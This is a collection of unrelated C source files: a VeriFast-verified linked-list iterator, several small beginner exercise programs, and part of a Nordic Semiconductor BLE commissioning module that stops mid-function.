list->first |-> ?f &*& list->last |-> ?l &*& malloc_block_llist(list) &*& lseg2(f, n, l, ?v1) &*& lseg(n, l, vn) &*& node(l, _, _) &*& v0 == append(v1, vn);
predicate iter(struct iter *i, real frac, struct llist *l, list<int> v0, list<int> v) =
i->current |-> ?n &*& [frac]llist_with_node(l, v0, n, v) &*& malloc_block_iter(i);
@*/
struct iter *llist_create_iter(struct llist *l)
//@ requires [?frac]llist(l, ?v);
//@ ensures [frac/2]llist(l, v) &*& iter(result, frac/2, l, v, v);
{
struct iter *i = 0;
struct node *f = 0;
i = malloc(sizeof(struct iter));
if (i == 0) {
abort();
}
//@ open [frac/2]llist(l, v);
f = l->first;
i->current = f;
//@ struct node *last = l->last;
//@ close [frac/2]lseg2(f, f, last, nil);
//@ close [frac/2]llist_with_node(l, v, f, v);
//@ close iter(i, frac/2, l, v, v);
return i;
}
int iter_next(struct iter *i)
//@ requires iter(i, ?f, ?l, ?v0, ?v) &*& switch (v) { case nil: return false; case cons(h, t): return true; };
//@ ensures switch (v) { case nil: return false; case cons(h, t): return result == h &*& iter(i, f, l, v0, t); };
{
//@ open iter(i, f, l, v0, v);
struct node *c = i->current;
//@ open llist_with_node(l, v0, c, v);
//@ open lseg(c, ?last, v);
//@ open node(c, _, _);
int value = c->value;
struct node *n = c->next;
//@ close [f]node(c, n, value);
//@ assert [f]lseg2(?first, _, _, ?vleft);
//@ lseg2_add(first);
i->current = n;
//@ assert [f]lseg(n, last, ?tail);
//@ append_assoc(vleft, cons(value, nil), tail);
//@ close [f]llist_with_node(l, v0, n, tail);
//@ close iter(i, f, l, v0, tail);
return value;
}
/*@
lemma void lseg2_lseg_append(struct node *n)
requires [?frac]lseg2(?f, n, ?l, ?vs1) &*& [frac]lseg(n, l, ?vs2);
ensures [frac]lseg(f, l, append(vs1, vs2));
{
open lseg2(f, n, l, vs1);
switch (vs1) {
case nil:
case cons(h, t):
open [frac]node(f, ?next, h);
lseg2_lseg_append(n);
close [frac]node(f, next, h);
close [frac]lseg(f, l, append(vs1, vs2));
}
}
@*/
void iter_dispose(struct iter *i)
//@ requires iter(i, ?f1, ?l, ?v0, ?v) &*& [?f2]llist(l, v0);
//@ ensures [f1 + f2]llist(l, v0);
{
//@ open iter(i, f1, l, v0, v);
//@ open llist_with_node(l, v0, ?n, v);
//@ lseg2_lseg_append(n);
free(i);
}
int main2()
//@ requires emp;
//@ ensures emp;
{
struct llist *l = create_llist();
llist_add(l, 5);
llist_add(l, 10);
llist_add(l, 15);
struct iter *i1 = llist_create_iter(l);
struct iter *i2 = llist_create_iter(l);
int i1e1 = iter_next(i1); assert(i1e1 == 5);
int i2e1 = iter_next(i2); assert(i2e1 == 5);
int i1e2 = iter_next(i1); assert(i1e2 == 10);
int i2e2 = iter_next(i2); assert(i2e2 == 10);
iter_dispose(i1);
iter_dispose(i2);
llist_dispose(l);
return 0;
}
|
the_stack_data/245713.c | //
// main.c
// Banknotes and Coins
//
// Created by MacBook on 17/03/17.
// Copyright © 2017 Bruno Botelho. All rights reserved.
//
#include <stdio.h>
#include <math.h>
int main() {
double input;
int valor;
int matriz[12];
int notas[12]={100,50,20,10,5,2,1};
char notc[][10] = {"100,00","50,00","20,00","10,00","5,00","2,00","1,00"};
scanf("%d",&valor);
int temp = valor;
for(int i=0;i<7;i++){
temp = temp-notas[i];
int cont=0;
while(temp>=0){
cont++;
temp=temp-notas[i];
}
matriz[i]=cont;
temp=temp+notas[i];
}
printf("%d\n",valor);
for(int i=0;i<7;i++){
printf("%d nota(s) de R$ %s\n",matriz[i],notc[i]);
}
return 0;
}
|
the_stack_data/182952277.c | #include <stdio.h>
void print(int *p, int *q, int *m, int *h) {
printf("%d_____\t%d_____\t%d___\t%d__\t%s\n", *p, *q, *m, *h, (*p < 77) ? "YES" : "NO");
}
int main(int argc, char *argv[]) {
int p = 0, q = 0, h = 0, m = 0;
printf("p______\tq______\tm______\th______\tp < 77\n\n");
print(&p, &q, &m, &h);
do {
++p;
q = 78 - p;
m = q * p;
h += m;
print(&p, &q, &m, &h);
} while (p < 77);
printf("\n%d\n", h);
getchar();
return 0;
} |
the_stack_data/92328198.c | //
// Created by zhangrongxiang on 2018/2/23 16:37
// File 1
//
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main() {
FILE *fp = NULL;
if ((fp = (fopen("new.txt", "r"))) == NULL)
printf("open failure");
char num[10];
while (1) {
if ((fgets(num, 10, fp)) == NULL) {
if (ferror(fp)) {
printf("read error\n");
fclose(fp);
return -1;
} else {
printf("reach to end\n");
fclose(fp);
return 0;
}
} else {
printf("%s\n", num);
}
}
fclose(fp);
return 0;
} |
the_stack_data/37636712.c | /***********************************************
* @author: Justice Smith
* @filename: matrix.c
* @date: 2021-03-25
* @description: output the minimum number of
* swaps necessary to move an element to the
* center of a 5x5 matrix.
***********************************************/
#include <stdio.h>
#include <stdlib.h>
#define M_WIDTH 5
#define M_HEIGHT 5
int stepConverter(int pos) {
int vert = 0;
int horiz = 0;
vert += pos / 5;
horiz += pos % 5;
return abs(2 - vert) + abs(2 - horiz);
}
int main() {
int in, pos = -1;
do {
scanf("%d", &in);
pos++;
} while (in != 1);
printf("%d", stepConverter(pos));
return 0;
}
// printf("%d", abs(2 - (pos/5)) + abs(2 - (pos % 5)));
// we out here golfin bro
|
the_stack_data/198580384.c | #include <stdio.h>
#include <string.h>
int
main (int argc, char *argv[])
{
int ret;
char buf [1024] = "Ooops";
ret = sscanf ("static char Term_bits[] = {", "static char %s = {", buf);
printf ("ret: %d, name: %s\n", ret, buf);
return strcmp (buf, "Term_bits[]") != 0 || ret != 1;
}
|
the_stack_data/890964.c | #include <time.h>
#include <stdio.h>
#include <string.h>
/* msg is the message which should be repeatedly written to the standard
output. */
char * msg = "We are the music makers.\n";
int main()
{
/* For all characters in msg... */
for(int i = 0; i < strlen(msg); i++)
{
/* The current character is written to the standard output. */
printf("%c", msg[i]);
/* The standard output is flushed, ensuring that the character is
actually written to the standard output. */
fflush(stdout);
/* The program sleeps for 0.1 seconds. */
nanosleep((const struct timespec []) {0,100000000}, NULL);
}
/* The program repeats. */
main();
}
|
the_stack_data/151706784.c | #include <stdio.h>
#include <stdlib.h>
#define PI 3.14159265
#include <math.h>
int main()
{
double x, ret, val;
x = 60.0;
ret = cos(x * PI / 180.0);
printf("cosine = %lf\n", (ret));
system("pause");
return 0;
} |
the_stack_data/181393347.c | /**
* Copyright (c) 2015 - 2018, Nordic Semiconductor ASA
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form, except as embedded into a Nordic
* Semiconductor ASA integrated circuit in a product or a software update for
* such product, must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other
* materials provided with the distribution.
*
* 3. Neither the name of Nordic Semiconductor ASA nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* 4. This software, with or without modification, must only be used with a
* Nordic Semiconductor ASA integrated circuit.
*
* 5. Any software provided in binary form under this license must not be reverse
* engineered, decompiled, modified and/or disassembled.
*
* THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifdef COMMISSIONING_ENABLED
#include <string.h>
#include "boards.h"
#include "ble_hci.h"
#include "nrf_soc.h"
#include "app_error.h"
#include "fds.h"
#include "ble_advdata.h"
#include "commissioning.h"
#include "nordic_common.h"
#include "ble_srv_common.h"
#include "sdk_config.h"
#define MINIMUM_ACTION_DELAY 2 /**< Delay before executing an action after the control point was written (in seconds). */
#define SEC_PARAM_BOND 0 /**< Perform bonding. */
#define SEC_PARAM_MITM 1 /**< Man In The Middle protection required (applicable when display module is detected). */
#define SEC_PARAM_IO_CAPABILITIES BLE_GAP_IO_CAPS_KEYBOARD_ONLY /**< Display I/O capabilities. */
#define SEC_PARAM_OOB 0 /**< Out Of Band data not available. */
#define SEC_PARAM_MIN_KEY_SIZE 7 /**< Minimum encryption key size. */
#define SEC_PARAM_MAX_KEY_SIZE 16 /**< Maximum encryption key size. */
#define COMM_FDS_FILE_ID 0xCAFE /**< The ID of the file that the record belongs to. */
#define COMM_FDS_RECORD_KEY 0xBEAF /**< The record key of FDS record that keeps node settings. */
#define NUMBER_OF_COMMISSIONING_TIMERS 4
#define TIMER_INDEX_DELAYED_ACTION 0
#define TIMER_INDEX_CONFIG_MODE 1
#define TIMER_INDEX_JOINING_MODE 2
#define TIMER_INDEX_IDENTITY_MODE 3
#define SEC_TO_MILLISEC(PARAM) (PARAM * 1000)
static commissioning_settings_t m_node_settings; /**< All node settings as configured through the Node Configuration Service. */
static commissioning_evt_handler_t m_commissioning_evt_handler; /**< Commissioning event handler of the parent layer. */
static bool m_power_off_on_failure = false; /**< Power off on failure setting from the last NCFGS event. */
static commissioning_timer_t m_commissioning_timers[NUMBER_OF_COMMISSIONING_TIMERS];
static ipv6_medium_ble_gap_params_t m_config_mode_gap_params; /**< Advertising parameters in Config mode. */
static ipv6_medium_ble_adv_params_t m_config_mode_adv_params; /**< GAP parameters in Config mode. */
static ipv6_medium_ble_gap_params_t m_joining_mode_gap_params; /**< Advertising parameters in Joining mode. */
static ipv6_medium_ble_adv_params_t m_joining_mode_adv_params; /**< GAP parameters in Joining mode. */
static ble_uuid_t m_config_mode_adv_uuids[] = \
{
{BLE_UUID_NODE_CFG_SERVICE, \
BLE_UUID_TYPE_VENDOR_BEGIN}
}; /**< Config mode: List of available service UUIDs in advertisement data. */
static ble_uuid_t m_joining_mode_adv_uuids[] = \
{
{BLE_UUID_IPSP_SERVICE, BLE_UUID_TYPE_BLE}
}; /**< Joining mode: List of available service UUIDs in advertisement data. */
static uint16_t m_conn_handle = BLE_CONN_HANDLE_INVALID; /**< Handle of the active connection. */
static uint8_t m_current_mode = NODE_MODE_NONE; /**< Current mode value. */
static uint8_t m_next_mode = NODE_MODE_NONE; /**< Value of the mode the node will enter when the timeout handler of m_delayed_action_timer is triggered. */
#if (FDS_ENABLED == 1)
static fds_record_desc_t m_fds_record_desc; /**< Descriptor of FDS record. */
#endif
#define COMM_ENABLE_LOGS 1 /**< Set to 0 to disable debug trace in the module. */
#if COMMISSIONING_CONFIG_LOG_ENABLED
#define NRF_LOG_MODULE_NAME commissioning
#define NRF_LOG_LEVEL COMMISSIONING_CONFIG_LOG_LEVEL
#define NRF_LOG_INFO_COLOR COMMISSIONING_CONFIG_INFO_COLOR
#define NRF_LOG_DEBUG_COLOR COMMISSIONING_CONFIG_DEBUG_COLOR
#include "nrf_log.h"
NRF_LOG_MODULE_REGISTER();
#define COMM_TRC NRF_LOG_DEBUG /**< Used for getting trace of execution in the module. */
#define COMM_ERR NRF_LOG_ERROR /**< Used for logging errors in the module. */
#define COMM_DUMP NRF_LOG_HEXDUMP_DEBUG /**< Used for dumping octet information to get details of bond information etc. */
#define COMM_ENTRY() COMM_TRC(">> %s", __func__)
#define COMM_EXIT() COMM_TRC("<< %s", __func__)
#else // COMMISSIONING_CONFIG_LOG_ENABLED
#define COMM_TRC(...) /**< Disables traces. */
#define COMM_DUMP(...) /**< Disables dumping of octet streams. */
#define COMM_ERR(...) /**< Disables error logs. */
#define COMM_ENTRY(...)
#define COMM_EXIT(...)
#endif // COMMISSIONING_CONFIG_LOG_ENABLED
/**@brief Function for validating all node settings.
*/
static bool settings_are_valid()
{
uint8_t tmp = m_node_settings.poweron_mode;
if (tmp == 0xFF)
{
return false;
}
else
{
return true;
}
}
#if (FDS_ENABLED == 1)
/**@brief Function for updating the node settings in persistent memory.
*/
static uint32_t persistent_settings_update(void)
{
uint32_t err_code;
fds_find_token_t token;
memset(&token, 0, sizeof(token));
fds_record_t record;
memset(&record, 0, sizeof(record));
record.file_id = COMM_FDS_FILE_ID;
record.key = COMM_FDS_RECORD_KEY;
record.data.p_data = &m_node_settings;
record.data.length_words = ALIGN_NUM(4, sizeof(commissioning_settings_t))/sizeof(uint32_t);
// Try to find FDS record with node settings.
err_code = fds_record_find(COMM_FDS_FILE_ID, COMM_FDS_RECORD_KEY, &m_fds_record_desc, &token);
if (err_code == FDS_SUCCESS)
{
err_code = fds_record_update(&m_fds_record_desc, &record);
}
else
{
err_code = fds_record_write(&m_fds_record_desc, &record);
}
if (err_code == FDS_ERR_NO_SPACE_IN_FLASH)
{
// Run garbage collector to reclaim the flash space that is occupied by records that have been deleted,
// or that failed to be completely written due to, for example, a power loss.
err_code = fds_gc();
}
return err_code;
}
/**@brief Function for loading node settings from the persistent memory.
*/
static void persistent_settings_load(void)
{
uint32_t err_code = FDS_SUCCESS;
fds_flash_record_t record;
fds_find_token_t token;
memset(&token, 0, sizeof(token));
// Try to find FDS record with node settings.
err_code = fds_record_find(COMM_FDS_FILE_ID, COMM_FDS_RECORD_KEY, &m_fds_record_desc, &token);
if (err_code == FDS_SUCCESS)
{
err_code = fds_record_open(&m_fds_record_desc, &record);
if (err_code == FDS_SUCCESS)
{
if (record.p_data)
{
memcpy(&m_node_settings, record.p_data, sizeof(m_node_settings));
}
}
}
}
/**@brief Function for clearing node settings from the persistent memory.
*/
static void persistent_settings_clear(void)
{
fds_record_delete(&m_fds_record_desc);
}
/**@brief Function for handling File Data Storage events.
*/
static void persistent_settings_cb(fds_evt_t const * p_evt)
{
if (p_evt->id == FDS_EVT_GC)
{
if (settings_are_valid())
{
persistent_settings_update();
}
}
}
/**@brief Function for initializing the File Data Storage module.
*/
static uint32_t persistent_settings_init(void)
{
uint32_t err_code;
err_code = fds_init();
if (err_code == FDS_SUCCESS)
{
err_code = fds_register(persistent_settings_cb);
}
return err_code;
}
#endif
/**@brief Function for setting advertisement parameters in Config mode.
*/
static void config_mode_adv_params_set(void)
{
COMM_ENTRY();
memset(&m_config_mode_adv_params, 0x00, sizeof(m_config_mode_adv_params));
m_config_mode_adv_params.advdata.name_type = BLE_ADVDATA_FULL_NAME;
m_config_mode_adv_params.advdata.include_appearance = false;
m_config_mode_adv_params.advdata.flags = \
BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE;
m_config_mode_adv_params.advdata.uuids_complete.uuid_cnt = \
sizeof(m_config_mode_adv_uuids) / sizeof(m_config_mode_adv_uuids[0]);
m_config_mode_adv_params.advdata.uuids_complete.p_uuids = m_config_mode_adv_uuids;
m_config_mode_adv_params.advdata.p_manuf_specific_data = NULL;
if (m_node_settings.id_data_store.identity_data_len > 0)
{
m_config_mode_adv_params.sr_man_specific_data.data.size = \
m_node_settings.id_data_store.identity_data_len;
m_config_mode_adv_params.sr_man_specific_data.data.p_data = \
m_node_settings.id_data_store.identity_data;
m_config_mode_adv_params.sr_man_specific_data.company_identifier = \
COMPANY_IDENTIFIER;
m_config_mode_adv_params.srdata.p_manuf_specific_data = \
&m_config_mode_adv_params.sr_man_specific_data;
}
else
{
m_config_mode_adv_params.srdata.p_manuf_specific_data = NULL;
}
m_config_mode_adv_params.advparams.properties.type = BLE_GAP_ADV_TYPE_CONNECTABLE_SCANNABLE_UNDIRECTED;
m_config_mode_adv_params.advparams.p_peer_addr = NULL; // Undirected advertisement.
m_config_mode_adv_params.advparams.filter_policy = BLE_GAP_ADV_FP_ANY;
m_config_mode_adv_params.advparams.interval = CONFIG_MODE_ADV_ADV_INTERVAL;
m_config_mode_adv_params.advparams.duration = CONFIG_MODE_ADV_TIMEOUT;
COMM_EXIT();
}
/**@brief Function for setting GAP parameters in Config mode.
*/
static void config_mode_gap_params_set(void)
{
COMM_ENTRY();
memset(&m_config_mode_gap_params, 0x00, sizeof(m_config_mode_gap_params));
BLE_GAP_CONN_SEC_MODE_SET_OPEN(&m_config_mode_gap_params.sec_mode);
m_config_mode_gap_params.p_dev_name = (const uint8_t *)CONFIG_MODE_DEVICE_NAME;
m_config_mode_gap_params.dev_name_len = strlen(CONFIG_MODE_DEVICE_NAME);
m_config_mode_gap_params.gap_conn_params.min_conn_interval = \
(uint16_t)CONFIG_MODE_MIN_CONN_INTERVAL;
m_config_mode_gap_params.gap_conn_params.max_conn_interval = \
(uint16_t)CONFIG_MODE_MAX_CONN_INTERVAL;
m_config_mode_gap_params.gap_conn_params.slave_latency = CONFIG_MODE_SLAVE_LATENCY;
m_config_mode_gap_params.gap_conn_params.conn_sup_timeout = CONFIG_MODE_CONN_SUP_TIMEOUT;
COMM_EXIT();
}
/**@brief Function for setting advertisement parameters in Joining mode.
*/
static void joining_mode_adv_params_set(void)
{
COMM_ENTRY();
memset(&m_joining_mode_adv_params, 0x00, sizeof(m_joining_mode_adv_params));
if (m_node_settings.ssid_store.ssid_len > 0)
{
m_joining_mode_adv_params.adv_man_specific_data.data.size = \
m_node_settings.ssid_store.ssid_len;
m_joining_mode_adv_params.adv_man_specific_data.data.p_data = \
m_node_settings.ssid_store.ssid;
m_joining_mode_adv_params.adv_man_specific_data.company_identifier = \
COMPANY_IDENTIFIER;
}
m_joining_mode_adv_params.advdata.name_type = BLE_ADVDATA_NO_NAME;
m_joining_mode_adv_params.advdata.include_appearance = false;
m_joining_mode_adv_params.advdata.flags = \
BLE_GAP_ADV_FLAG_BR_EDR_NOT_SUPPORTED;
m_joining_mode_adv_params.advdata.uuids_complete.uuid_cnt = \
sizeof(m_joining_mode_adv_uuids) / sizeof(m_joining_mode_adv_uuids[0]);
m_joining_mode_adv_params.advdata.uuids_complete.p_uuids = m_joining_mode_adv_uuids;
if (m_node_settings.ssid_store.ssid_len > 0)
{
m_joining_mode_adv_params.advdata.p_manuf_specific_data = \
&m_joining_mode_adv_params.adv_man_specific_data;
}
else
{
m_joining_mode_adv_params.advdata.p_manuf_specific_data = NULL;
}
if (m_node_settings.id_data_store.identity_data_len > 0)
{
m_joining_mode_adv_params.sr_man_specific_data.data.size = \
m_node_settings.id_data_store.identity_data_len;
m_joining_mode_adv_params.sr_man_specific_data.data.p_data = \
m_node_settings.id_data_store.identity_data;
m_joining_mode_adv_params.sr_man_specific_data.company_identifier = \
COMPANY_IDENTIFIER;
m_joining_mode_adv_params.srdata.p_manuf_specific_data = \
&m_joining_mode_adv_params.sr_man_specific_data;
}
else
{
m_joining_mode_adv_params.srdata.p_manuf_specific_data = NULL;
}
m_joining_mode_adv_params.advparams.properties.type = BLE_GAP_ADV_TYPE_CONNECTABLE_SCANNABLE_UNDIRECTED;
m_joining_mode_adv_params.advparams.p_peer_addr = NULL; // Undirected advertisement.
m_joining_mode_adv_params.advparams.filter_policy = BLE_GAP_ADV_FP_ANY;
m_joining_mode_adv_params.advparams.interval = APP_ADV_ADV_INTERVAL;
m_joining_mode_adv_params.advparams.duration = APP_ADV_DURATION;
COMM_EXIT();
}
/**@brief Function for setting GAP parameters in Joining mode.
*/
static void joining_mode_gap_params_set(void)
{
COMM_ENTRY();
memset(&m_joining_mode_gap_params, 0x00, sizeof(m_joining_mode_gap_params));
BLE_GAP_CONN_SEC_MODE_SET_OPEN(&m_joining_mode_gap_params.sec_mode);
m_joining_mode_gap_params.appearance = BLE_APPEARANCE_UNKNOWN;
m_joining_mode_gap_params.p_dev_name = (const uint8_t *)DEVICE_NAME;
m_joining_mode_gap_params.dev_name_len = strlen(DEVICE_NAME);
m_joining_mode_gap_params.gap_conn_params.min_conn_interval = \
(uint16_t)JOINING_MODE_MIN_CONN_INTERVAL;
m_joining_mode_gap_params.gap_conn_params.max_conn_interval = \
(uint16_t)JOINING_MODE_MAX_CONN_INTERVAL;
m_joining_mode_gap_params.gap_conn_params.slave_latency = JOINING_MODE_SLAVE_LATENCY;
m_joining_mode_gap_params.gap_conn_params.conn_sup_timeout = JOINING_MODE_CONN_SUP_TIMEOUT;
COMM_EXIT();
}
/**@brief Function for starting a timer in the Commissioning module.
*
*/
static void commissioning_timer_start(uint8_t index, uint32_t timeout_sec)
{
m_commissioning_timers[index].is_timer_running = true;
m_commissioning_timers[index].current_value_sec = timeout_sec;
}
/**@brief Function for stopping and re-setting a timer in the Commissioning module.
*
*/
static void commissioning_timer_stop_reset(uint8_t index)
{
m_commissioning_timers[index].is_timer_running = false;
m_commissioning_timers[index].current_value_sec = 0x00;
}
void commissioning_node_mode_change(uint8_t new_mode)
{
COMM_ENTRY();
commissioning_evt_t commissioning_evt;
memset(&commissioning_evt, 0x00, sizeof(commissioning_evt));
commissioning_evt.p_commissioning_settings = &m_node_settings;
commissioning_evt.power_off_enable_requested = m_power_off_on_failure;
commissioning_timer_stop_reset(TIMER_INDEX_DELAYED_ACTION);
commissioning_timer_stop_reset(TIMER_INDEX_CONFIG_MODE);
commissioning_timer_stop_reset(TIMER_INDEX_JOINING_MODE);
config_mode_gap_params_set();
config_mode_adv_params_set();
joining_mode_gap_params_set();
joining_mode_adv_params_set();
m_current_mode = new_mode;
switch (m_current_mode)
{
case NODE_MODE_CONFIG:
{
commissioning_evt.commissioning_evt_id = COMMISSIONING_EVT_CONFIG_MODE_ENTER;
m_commissioning_evt_handler(&commissioning_evt);
// Start Configuration mode timer.
COMM_TRC("Config mode timeout: %ld seconds", m_node_settings.config_mode_to);
commissioning_timer_start(TIMER_INDEX_CONFIG_MODE, m_node_settings.config_mode_to);
break;
}
case NODE_MODE_JOINING:
{
commissioning_evt.commissioning_evt_id = COMMISSIONING_EVT_JOINING_MODE_ENTER;
m_commissioning_evt_handler(&commissioning_evt);
// Start Joining mode timer.
COMM_TRC("Joining mode timeout: %ld seconds", m_node_settings.joining_mode_to);
commissioning_timer_start(TIMER_INDEX_JOINING_MODE, m_node_settings.joining_mode_to);
break;
}
case NODE_MODE_IDENTITY:
{
commissioning_evt.commissioning_evt_id = COMMISSIONING_EVT_IDENTITY_MODE_ENTER;
m_commissioning_evt_handler(&commissioning_evt);
// Start Identity mode timer.
COMM_TRC("Identity mode timeout: %ld seconds", m_node_settings.id_mode_to);
commissioning_timer_start(TIMER_INDEX_IDENTITY_MODE, m_node_settings.id_mode_to);
break;
}
default:
{
break;
}
}
COMM_EXIT();
}
/**@brief Function for handling the Delayed action timer timeout.
*
* @details This function will be called each time the delayed action timer expires.
*
*/
static void action_timeout_handler(void)
{
COMM_ENTRY();
commissioning_node_mode_change(m_next_mode);
COMM_EXIT();
}
/**@brief Function for handling the Config mode timer timeout.
*
* @details This function will be called each time the Config mode timer expires.
*
*/
static void config_mode_timeout_handler(void)
{
COMM_ENTRY();
switch (m_node_settings.config_mode_failure)
{
case NCFGS_SOF_NO_CHANGE:
// Fall-through.
case NCFGS_SOF_CONFIG_MODE:
{
commissioning_node_mode_change(NODE_MODE_CONFIG);
break;
}
case NCFGS_SOF_PWR_OFF:
{
LEDS_OFF(LEDS_MASK);
// The main timer in Config mode timed out, power off.
UNUSED_VARIABLE(sd_power_system_off());
break;
}
}
COMM_EXIT();
}
/**@brief Function for handling the Joining mode timer timeout.
*
* @details This function will be called each time the Joining mode timer expires.
*
*/
void joining_mode_timeout_handler(void)
{
COMM_ENTRY();
switch (m_node_settings.joining_mode_failure)
{
case NCFGS_SOF_NO_CHANGE:
{
commissioning_node_mode_change(NODE_MODE_JOINING);
break;
}
case NCFGS_SOF_PWR_OFF:
{
LEDS_OFF(LEDS_MASK);
UNUSED_VARIABLE(sd_power_system_off());
break;
}
case NCFGS_SOF_CONFIG_MODE:
{
commissioning_node_mode_change(NODE_MODE_CONFIG);
break;
}
}
COMM_EXIT();
}
/**@brief Function for handling the Identity mode timer timeout.
*
* @details This function will be called each time the Identity mode timer expires.
*
*/
void identity_mode_timeout_handler(void)
{
COMM_ENTRY();
commissioning_evt_t commissioning_evt;
memset(&commissioning_evt, 0x00, sizeof(commissioning_evt));
commissioning_evt.commissioning_evt_id = COMMISSIONING_EVT_IDENTITY_MODE_EXIT;
m_commissioning_evt_handler(&commissioning_evt);
COMM_EXIT();
}
void commissioning_joining_mode_timer_ctrl( \
joining_mode_timer_ctrl_cmd_t joining_mode_timer_ctrl_cmd)
{
switch (joining_mode_timer_ctrl_cmd)
{
case JOINING_MODE_TIMER_STOP_RESET:
{
commissioning_timer_stop_reset(TIMER_INDEX_JOINING_MODE);
break;
}
case JOINING_MODE_TIMER_START:
{
commissioning_timer_start(TIMER_INDEX_JOINING_MODE, m_node_settings.joining_mode_to);
break;
}
}
}
void commissioning_gap_params_get(ipv6_medium_ble_gap_params_t ** pp_node_gap_params)
{
switch (m_current_mode)
{
case NODE_MODE_JOINING:
{
*pp_node_gap_params = &m_joining_mode_gap_params;
break;
}
case NODE_MODE_IDENTITY:
// Fall-through.
case NODE_MODE_CONFIG:
{
*pp_node_gap_params = &m_config_mode_gap_params;
break;
}
}
}
void commissioning_adv_params_get(ipv6_medium_ble_adv_params_t ** pp_node_adv_params)
{
switch (m_current_mode)
{
case NODE_MODE_JOINING:
{
*pp_node_adv_params = &m_joining_mode_adv_params;
break;
}
case NODE_MODE_IDENTITY:
// Fall-through.
case NODE_MODE_CONFIG:
{
*pp_node_adv_params = &m_config_mode_adv_params;
break;
}
}
}
/**@brief Function for reading all node settings from the persistent storage.
*/
static void read_node_settings(void)
{
memset(&m_node_settings, 0x00, sizeof(m_node_settings));
#if (FDS_ENABLED == 1)
persistent_settings_load();
#endif // FDS_ENABLED
if (m_node_settings.ssid_store.ssid_len > NCFGS_SSID_MAX_LEN)
{
m_node_settings.ssid_store.ssid_len = 0;
}
if (m_node_settings.keys_store.keys_len > NCFGS_KEYS_MAX_LEN)
{
m_node_settings.keys_store.keys_len = 0;
}
if (m_node_settings.id_data_store.identity_data_len > NCFGS_IDENTITY_DATA_MAX_LEN)
{
m_node_settings.id_data_store.identity_data_len = 0;
}
// The duration of each mode needs to be at least 10 second.
m_node_settings.joining_mode_to = \
(m_node_settings.joining_mode_to < 10) ? 10 : m_node_settings.joining_mode_to;
m_node_settings.config_mode_to = \
(m_node_settings.config_mode_to < 10) ? 10 : m_node_settings.config_mode_to;
m_node_settings.id_mode_to = \
(m_node_settings.id_mode_to < 10) ? 10 : m_node_settings.id_mode_to;
}
#if (COMM_ENABLE_LOGS == 1)
/**@brief Function for printing all node settings.
*/
static void print_node_settings(void)
{
COMM_TRC("");
COMM_TRC(" Commissioning settings in memory:");
COMM_TRC(" Start mode: %5d", m_node_settings.poweron_mode);
COMM_TRC(" Mode if Joining Mode fails: %5d", m_node_settings.joining_mode_failure);
COMM_TRC(" General timeout in Joining Mode: %5ld", m_node_settings.joining_mode_to);
COMM_TRC(" Mode if Configuration Mode fails: %5d", m_node_settings.config_mode_failure);
COMM_TRC("General timeout in Configuration Mode: %5ld", m_node_settings.config_mode_to);
COMM_TRC(" Identity Mode duration: %5ld", m_node_settings.id_mode_to);
COMM_TRC(" Stored Keys length: %5d", m_node_settings.keys_store.keys_len);
COMM_TRC(" Stored Keys:");
uint8_t ii;
for (ii=0; ii<m_node_settings.keys_store.keys_len; ++ii)
{
COMM_TRC("0x%02X", m_node_settings.keys_store.keys[ii]);
}
COMM_TRC("");
COMM_TRC(" Stored SSID length: %5d", m_node_settings.ssid_store.ssid_len);
COMM_TRC(" Stored SSID:");
for (ii=0; ii<m_node_settings.ssid_store.ssid_len; ++ii)
{
COMM_TRC("0x%02X", m_node_settings.ssid_store.ssid[ii]);
}
COMM_TRC("");
COMM_TRC(" Stored Identity Data length: %5d", m_node_settings.id_data_store.identity_data_len);
COMM_TRC(" Stored Identity Data:");
for (ii=0; ii<m_node_settings.id_data_store.identity_data_len; ++ii)
{
COMM_TRC("0x%02X", m_node_settings.id_data_store.identity_data[ii]);
}
COMM_TRC("");
}
#endif // (COMM_ENABLE_LOGS == 1)
void commissioning_settings_clear(void)
{
COMM_ENTRY();
memset(&m_node_settings, 0x00, sizeof(m_node_settings));
#if (FDS_ENABLED == 1)
persistent_settings_clear();
#endif // FDS_ENABLED
COMM_EXIT();
}
void commissioning_ble_evt_handler(const ble_evt_t * p_ble_evt)
{
uint32_t err_code;
switch (p_ble_evt->header.evt_id)
{
case BLE_GAP_EVT_CONNECTED:
{
m_conn_handle = p_ble_evt->evt.gap_evt.conn_handle;
commissioning_timer_stop_reset(TIMER_INDEX_DELAYED_ACTION);
commissioning_timer_stop_reset(TIMER_INDEX_CONFIG_MODE);
break;
}
case BLE_GAP_EVT_DISCONNECTED:
{
m_conn_handle = BLE_CONN_HANDLE_INVALID;
if (m_current_mode == NODE_MODE_CONFIG)
{
commissioning_timer_start(TIMER_INDEX_CONFIG_MODE, \
m_node_settings.config_mode_to);
}
if (m_current_mode == NODE_MODE_JOINING)
{
commissioning_timer_start(TIMER_INDEX_JOINING_MODE, \
m_node_settings.joining_mode_to);
}
break;
}
case BLE_GAP_EVT_AUTH_KEY_REQUEST:
{
if (m_current_mode == NODE_MODE_JOINING)
{
// If passkey is shorter than BLE_GAP_PASSKEY_LEN, add '0' character.
